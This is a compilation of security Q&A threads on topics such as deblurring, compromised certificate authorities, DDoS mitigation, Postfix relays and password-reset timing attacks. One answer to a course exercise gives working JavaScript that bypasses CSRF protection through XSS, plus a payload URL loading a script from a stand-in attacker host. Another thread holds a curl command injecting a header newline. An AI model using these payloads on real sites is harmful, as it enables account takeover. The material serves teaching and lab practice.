Here, I assume we are only considering images which were blurred using a filter applied to the image, and not as a result of a poor capture (motion/optical blur).

Deblurring definitely is possible, and you will see support in many image processing tools. However, blurring intentionally reduces the amount of information in the image, so to truly get back the original image could require "brute force", whereby a (humungously) large number of candidate images are generated, which all "blur" to the same final image.

Different types of blur have different losses, but it is possible to reverse all of them (albeit expensively). The cost of deblurring and the number of possible outcomes depends on the number of passes taken by the blur filter, and the number of neighbors considered while blurring. Once deblurred, many tools and services should be able to automatically remove many of the outcomes, based on knowing what type of image it is.

For instance, this blog post talks about why blurring content with a low amount of entropy (e.g. check books) is much less secure than blurring something like a human face.

In short, it is indeed possible to get back an image that if "blurred" will result in the same image that you provided. But you cannot guarantee that the deblurred image is the only valid deblurred version (you will need some domain knowledge and image analysis like matching edges, objects making semantic sense).

  For the naked eye, it could be difficult to figure out the blurred
  content. But could the blurring be "reverse engineered" to reveal the
  original image, or at least something that is recognizable?

It is possible that blurring does not fundamentally transform the "signature" of an image, such that the histogram is similar and allows matching.
In your case, the human eye can actually make out that this could have been the Google logo (familiar colors) but the histogram is quite different. Google itself can't identify the image and you can study the histogram and color clusters using this online tool-- the images are quite different.

If probably would be safer if you were to choose to black out the sensitive content (see post here)

I wish these things weren't possible (e.g. I used to try to go as fast as possible near speed traps so that motion blur would hide my number plates, but it never works anymore). Tools to deblur are fairly common now (e.g. Blurity) though they don't work as well with small computer-generated images (less information) as they do with photographs (see sample of what I recovered).

In terms of more references, the first chapter of Deblurring Images: Matrices, Spectra, and Filtering by Per Christian Hansen, James G. Nagy, and Dianne P. O’Leary is a really good introduction. It talks about how noise and other factors make recovery of the exact original image impossible: Unfortunately there is no hope that we can recover the original image exactly! but then goes about describing how you can get a close match.

This survey compares different techniques used in forensic image reconstruction (it's almost 20 years old, so it focuses on fundamentals).

Finally, a link to Schneier's blog where this is discussed to some detail.


Is there any way to mitigate against a compromised CA as a client on Firefox? If I, as a client, connect to a server and there is a malicious certificate authority, how can the client protect against this CA and still connect to the site? If this isn't possible, how can the client be aware of a compromised CA on Firefox?

Mitigating Effects of Malicious/Compromised Certificate Authorities

There aren't very many things you can do yourself as the client, but I will outline several solutions available anyway.

Remove Untrusted Certificates

If there are CAs that are trusted by your browser and/or operating system that you do not personally trust, you should remove them. This is easier said than done, as there are many you cannot remove without breaking a significant number of websites. That said, there may be some you can definitely remove without harm, such as foreign governments and others that aren't commonly used. This can take some trial and error.

HTTP Public Key Pinning (HPKP)

From Mozilla Developer Network Docs:

  HTTP Public Key Pinning (HPKP) is a security feature that tells a web
  client to associate a specific cryptographic public key with a certain
  web server to decrease the risk of MITM attacks with forged
  certificates.

  To ensure the authenticity of a server's public key used in TLS
  sessions, this public key is wrapped into a X.509 certificate which is
  usually signed by a certificate authority (CA). Web clients such as
  browsers trust a lot of these CAs, which can all create certificates
  for arbitrary domain names. If an attacker is able to compromise a
  single CA, they can perform MITM attacks on various TLS connections.
  HPKP can circumvent this threat for the HTTPS protocol by telling the
  client which public key belongs to a certain web server.

  HPKP is a Trust on First Use (TOFU) technique. The first time a web
  server tells a client via a special HTTP header which public keys
  belong to it, the client stores this information for a given period of
  time. When the client visits the server again, it expects at least one
  certificate in the certificate chain to contain a public key whose
  fingerprint is already known via HPKP. If the server delivers an
  unknown public key, the client should present a warning to the user.

So, if a certificate is presented to the client that doesn't match the pinned public key, or doesn't match the pinned CA's public key, the connection should fail. While there are some clear benefits to HPKP, Google and other initial supporters now recommend against it due to the possibility of long-term denial-of-service or hostile takeover.

DNS-Based Authentication of Named Entities (DANE)

DANE doesn't rely on CAs at all, and can operate independent of/without them. A DNS query over DNSSEC for a domain's TLSA returns information about what certificates should be treated as valid. I am unsure how widely DANE is deployed, but it could possibly be enabled through a browser addon.

Detecting Compromised CAs

If a CA itself doesn't know it's been compromised, there is really no way you would be able to determine that yourself. The only way I can imagine to catch a newly-compromised/malicious CA is if you knew CA "A" is usually in the chain for a domain, but you observe CA "B" in the chain instead. I imagine that a browser extension could keep track of this information and alert the user to any changes, but I fear that false positives would be indistinguishable from malicious events.


Can a Cisco ASA 5505 block this DDoS attack? Since more than a week ago, my dedicated server (located in ovh.com) has been under TCP SYN (I think) attack. OVH don't care about it but this attack is killing my server with a high CPU load (permanent 100% on the top moments).

I have the option to add a Cisco ASA 5505 on my host and I would like to know if I can really block such attack with it. Does anyone have experience with this firewall?

If I parsed the log correctly I have got something like 550 different IPs spamming TCP SYN packets (18320 packets in total) per minute over two ports. (I can't change these ports, and if I do, the attacker instantly changes his attack too).

At the peak moments, I calculated over 2.000 different IPs (36640 packets) per minute doing exactly the same.

They also do GET attacks on my site, can this Cisco ASA 5505 do something about this?

Also, I would like to know how I can "calculate" the Mbps/Gbps from an attack.

I've tested almost all, blocked all the IPs, changed the server IP, change edports, even remote  proxy DDoS protection, but without success.

I recorded this log with WireShark (can be opened with notepad) for over only one minute with 0 "legit" traffic, so all this traffic is the attack. Here is the log.

You have a number of separate queries here, so I'll try and get through them.

If you have the IP addresses then yes, you can get the 5505 to block - that's pretty simple - just add the IP addresses to the block list (or depending on your needs, block everything except traffic from known good IP's - whitelisting)

Cisco offer SYN Flood protection - worth looking at to see if it fits your particular situation. It's very basic, but works very well for certain scenarios.

A 5505 will not help on the GET request - you'd need a Deep Inspect capable firewall. Depending on your webserver, you may be able to do this here.

You say the proxy ddos mitigation was not useful. This is actually a very useful and successful solution thousands of companies use, so maybe you need to look at how you are using it.


Are there commercially available hardware encryption devices over USB? I'm designing a system where some combination of hardware and software (lets call it an appliance...) sends asynchronous secure archival to the cloud. By secure, I mean, AES-256 encrypted, with AES key and IV encrypted by RSA-2048 public key. There may be several such appliances, each with the same RSA public key. It doesn't matter.

I want the decryption to occur when the user faces disaster and wants to get back her archives. By disaster, I mean, her computer may have been burned, or stolen, or she might have been forced to move quickly, something like that.

In this case, I want something easy to use, easy to carry, easy to store. A USB key sounds great. But I don't want any malware able to read the private RSA key whenever this device is put inside a potentially unsafe computer.

My guess is there should exist some commercially available solution, that do the following:

Is factory written an RSA-2048 private key in my premises (not the vendor)
Will never ever make the key visible over USB like would a plain RSA public key file on an USB thumb drive
Will take encrypted data, decrypt it, and give it back decrypted

Bonus points:

Is Java compatible on at least Mac and Windows
Takes configurable password to further protect the key
(maybe...) does all I need in my protocol directly (AES key decryption, AES un ciphering...)

As Bruno Rohée wrote, it's likely that you want some form of smartcard packaged as USB key. This smartcard could either contain a ready-made application that integrates with PKCS#11 or an application that is specific to your specific needs. In the latter case, you could use some Java Card technology based smartcard and write your own Java Card applet that manages your key and cryptography.

Regarding your requirement list:

Smartcards -- if accessible through PC/SC -- integrate quite well with Java on Windows (and mostly also on Mac, though this could be a bit more painful) through the Java Smartcard IO API.
Most smartcards (particularly Java Card-based ones) have built in functionality for PIN codes but I guess if you write your own applet you could build pretty much any known-secret based user authentication.
Smartcards usually do support on-card symmetric encryption/decryption. If it's feasible to do the whole symmetric encryption/decryption on-card (or if you only use the card to encypt/decrypt keys for symmetric cryptography) would typically depend on the amount of data that you want to encrypt/decrypt. Performance of and communication with a smartcard is typically very slow compared to doing this on the PC side.

One product that comes to my mind is Yubikey Neo. It comes in USB key form factor (with additional contactless interface), can be configured to be accessible through PC/SC, comes with various pre-loaded crypto applications and you can load your own Java Card applications onto it. As far as I found out it should support RSA-2048 and at least 128-bit AES.


Whitelist mail domains and users to smtp on mail server Lately our mail server (postfix 2.9.6, ubuntu 12.04, courier) got compromised by spammers that are send plenty of dummy mails to many recipients,

The spammers used two different ways: 1- using real domain on my server but fake user account that wasn't exist, 2- using fake sender mail (user and domain),

I had to blacklist each one by one on /etc/postfix/main.cf:

smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/sender_access

/etc/postfix/sender_access:

fake-domain.com   DISCARD
fakeuser@realdomain.com DISCARD

Is there a way to secure my server more as to allow only some white-list that contains server's real domain and all user accounts i have, and block any other fake senders?

Your smtp should be set up so that only internal clients can access it. In Postfix this looks something like the following (obviously with your internal IP range).

smtpd_relay_restrictions = permit_mynetworks
mynetworks = 127.0.0.0/8 192.168.0.0/24

In smtpd_relay_restrictions you may also want to add permit_sasl_authenticated and set up SASL authentication for clients. You can then require all clients to be authenticated to be able to send emails outside of your servers destinations (defined by mydestination). See here or here among many others for a detailed description of setting up SASL for Postfix.

If you set it up with mynetworks, an external attacker (connecting from the internet) will not be able to use your smtp as an open relay. If an internal client is compromised, you have to fix that internal client, but requiring authentication from internal clients as well mitigates that risk somewhat (but a compromised client will potentially give away the credentials to the smtp server too).

Also one common mistake is when you put our smtp behind a firewall, set up your smtp to only allow local clients to send emails to external addresses, and then have your firewall rewrite packages with the source IP set to that of the firewall as opposed to the external client - so your smtp sees external traffic from the internal firewall IP address. You can fix this either by not rewriting the source address of packages, or not having the firewall address in mynetworks.


Mitigate timing attack threat against password recovery page We recently had an external security review performed on a public-facing website we manage. They noted that on the "recover password page", there are different response times when providing existing and non-existing usernames. They claim this could make it easier for an attacker to test for existing usernames. The suggested change to eliminate this attack vector, is to always execute the same logic for every password recovery attempt.

In our case, the password recovery logic consists of (roughly) the following steps:

Load the user from database.
Send an email to the user with a password reset link.

If the user exists, both steps are carried out. If the user doesn't exist, only step 1 is executed.

In terms of database lookups etc, this is easily solved. But when it comes to interacting with external systems, in this case sending an email, it's less trivial.

I supposed introducing a random delay will not help much, as there would likely still be a detectable difference in the response time distributions.

Another idea is to set up an email account somewhere, and send an email there for every non-existing username.

What would be best practice in this situation?

Let's ask the real question here :

Is the list of usernames associated with your application secret?

Kind of but mostly NO. Usually, each username is unique in an application so it's very hard if not impossible to keep it a secret. For example, a way that will very often work (if not always) to find username associated with your application is to simply create a new account. When you enter a username, the creation process will tell you if it's already taken or not. Hence, you can slowly build a list of valid username.

Overall, it doesn't make much sense to try to keep the username secret and is probably impossible, so just give up on that part.

Interesting read about how Your Username is Not a Secret.

What should try to protect?

You need to protect the secrets associated with the username ; password and any other form of authentication. It's here that it makes sense to bother about timing attack. For example, your password verification code need to take the same time if the first 2 characters match than if no character match at all.

Additionnal note

Protecting your multi-factor authentication is another interesting topic. It's not directly a timing attack but it's the same principle. For example, if you have a password and a phone code required to login into an app. If the application, only ask you about the phone code when the password is correct, it makes it much easier for the attacker to find the password than if the application was asking the password AND phone code every time. But there is some issue about the privacy of the phone number if you ask it every time...


Pros/Cons of internal pentest department vs external pentesters What are the advantages and disadvantages of having an internal pentest department in a large company compared to external service providers?

The most-effective use of a security professional who has penetration-testing skills is to host cyber exercises. Some are referring to this as purple teaming or adversary simulation. Each approach will be unique to an organization or set of organizations -- and have their own advantages and disadvantages.

Rafael Mudge recently spoke at the SANS Pen Test Hackfest on [PDF - Hacking to Get Caught - PDF], based on his original material from a blog post on adversary simulation.

I don't think it matters if you hire externally or internally for this sort of work -- the benefits of hiring someone internally have historically been discouraged because the individual would "likely become bored", "become predictable", and become less effective because his or her knowledge of the environment would prevent seeing things from a new or fresh perspective. However, with cyber exercises proving their value in Security Operation Centers, fusion centers based on cyber threat intelligence, and internal red teams -- the value of having in-house penetration skills is rapidly rising.

There are a few resources I'd like to point you towards in order to fully comprehend the tradtional and non-traditional approaches to penetration testing resourcing. Two books, one: "CISO's Guide to Penetration Testing: A Framework to Plan, Manage, and Maximize Benefits", and the other, "Effective Penetration Testing" by Kevin Pescatello and Matthew Larsen. In the former book, chapter 5 covers four types of tests: parallel shared, parallel isolated, series shared, and series isolated. Each of these test approaches include two types of outside penetration testers as well as one internal type -- blending a mix and balance of requirements and needs.

Lastly, I'd like to note that penetration testing is an emerging and changing field with a variety of expertise coming from many unorthodox approaches and a myriad of backgrounds. Having been introduced to US national intelligence, national security, and military TTPs such as wargaming, OPFOR, red teaming analysis (RTA), game theory, simulation, warning intelligence, S&TI, TECHINT, all-source intelligence, counterintelligence, MILDEC, counter denial, counter deception, analytical frameworks, and the fusion center model -- I have concluded that the penetration testing industry is due for a total rewrite. These antiquated third-party assessments that produce reports have always been laughable when compared to warfighting, so it is precedent that we embrace change, particularly due to this 2014 cyber war and the total cyber risk situation we are facing as a global economy or in the geopolitical space.


Burp Suite - Use \n in repeater Currently I am trying to fuzz the request I sent to Repeater. However if I put a new line (using Enter key) inside repeater's text window, burp on background really creates a crlf.

My goal:

Send a request, which contains only a newline without carriage return.

What I tried

I tried to use \n (as it is common in a lot of programming languages). However burp's Repeater treats \n as set of two characters - \ and n.

Question

Is there any way how to pass standalone newline character without carriage return inside Request stored in Repeater?

So far I tested this using my workaround in bash console, which is not-elegant at all:

curl https://mykey.example.com --header "Content-Length: 1" --header $'\nTransfer-Encoding: chunked'

Any insights appreciated.

Thanks to @user, who led me to the correct answer - You must simply use hex tab, and then find carriage return character you want to delete. Afterwards just click the Right button and press Delete Byte option.


How can I successfully perform an xss attack on a dummy website? in my security course, we were told to practice an xss attack using firefox on this website;

http://permalink.co/

No worries, this is a website specifically setup for us to practice security. The csrf field you see should be set to 1 (for token validation, token is random) and the xss field should be set to 0 for this practice. We should write an html file and include other languages like javascript, such that when our file is executed by the browser, it should just display a blank page. But when refreshed, it should show that we are logged into the website I gave above. The username is 'attacker, and the password is 'l33th4x'.

I basically need to lock in password, username, and token. I came up with a plan to use a cookie and set the token to 'abc'. So, when I come to login, i use the username and password that I know with token=abc that I knowingly set. But my code doesn't work, I was told I need two forms, first one for setting the cookie token to 'abc' and second one for logging in using the three parameters. But I don't see what to put in the 1st form. I came up with the code below but it doesn't work, I need help;

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<title> set csrf to 0 and xss to 4 on http://permalink.co/ </title>

<form id="form_id" action="http://permalink.co/login" method="POST" target="iframe_submit">
<input type="hidden" name = "csrf_token" value="abc">

<input type="hidden" name = "username" value="attacker">

<input type="hidden" name = "password" value="l33th4x">

</form>

For a first hand view of the question, visit the website below and look for number 2.1. This was due last month but I didn't understand it and exams are approaching;
    https://www.eecs.umich.edu/courses/eecs388/static/388-w15-proj2.pdf

I came up with the code below but it doesn't work

That's because you are performing a CSRF attack, but in exercise 2.1 there is actually an anti-CSRF token preventing this. You have to exploit the XSS vulnerability here.

  I came up with a plan to use a cookie and set the token to 'abc'. So, when I come to login, i use the username and password that I know with token=abc that I knowingly set.

This also will not work (at least not if the programmer is competent enough to implement anti-CSRF protection correctly). The token for comparing the form token is not stored in the cookie, but in the session, so it cannot be set by you.

Bypass CSRF via XSS

The point of this exercise is for you to see that CSRF prevention is useless when there is an XSS vulnerability anywhere in the website (not just the page you want to attack).

Here is the code (you might have to adjust some of the variable values):

    var csrfProtectedPage = 'http://permalink.co/login';
    var csrfProtectedForm = 'form';

    // get valid token for current request
    var html = get(csrfProtectedPage);
    document.body.innerHTML = html;
    var form = document.getElementById(csrfProtectedForm);
    var token= form.token.value;

    // build form with valid token and evil credentials
    document.body.innerHTML
     += '<form id="myform" action="' + csrfProtectedPage + '" method="POST">'
     + '<input type="hidden" name="csrf_token" value="' + token + '">'
     + '<input id="userpass" name="password" value="evilPass">'
     + '<input id="username" name="username" value="evilUser">'
     + '</form>';

    // submit form
    document.forms["myform"].submit();

    function get(url) {
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", url, false);
        xmlHttp.send(null);
        return xmlHttp.responseText;
    }

Then send your victim to http://permalink.co/search?q=<script src="http://evil.attacker/script.js"></script> (if you don't want them to click, but to just visit your website, load it as an image).

The idea is to inject javascript into the vulnerable site which loads the login page, gets a token, and then sends out the form with the valid token.

Bypass CSRF without XSS

It would be interesting to know the answer to question 2.2 in your document (the attack above, but without XSS).

You might think that you can just perform the same steps without the XSS vulnerability, but this is not possible because of the same origin policy (you cannot access data from a different origin with Javascript, so the attack fails at the get step which loads the form).


Secure cookies and Path Length Constraint Using apache 2.2.3 on oracle enterprise linux.

When setting following setting in httpd.conf:
Header edit Set-Cookie ^(.*)$ $1;Secure ,
cookie generation (which happens on our registration page) stops.

In certificate we have "Path Length Constraint=None" set. Its a L1C entrust cert. Can it be cause of it ?

There is no relationship between cookie processing, and certificate extensions. The path length constraint (in the Basic Constraint Extension of a CA certificate) enforces a limit on the length of the certificate path beyond that CA; with a path length constraint equal to 1, that CA certificate is good for issuing non-CA certificates (e.g. a certificate for a SSL server), but not for issuing other CA certificates.

Cookies occur at the HTTP level, when the SSL tunnel has been successfully established. There is no HTTP, hence no cookie at all, if something goes wrong with the SSL tunnel; conversely, when cookies come into action, everything already went fine with the SSL handshake, in particular the validation of the server certificate and the processing of certificate extensions that this entails.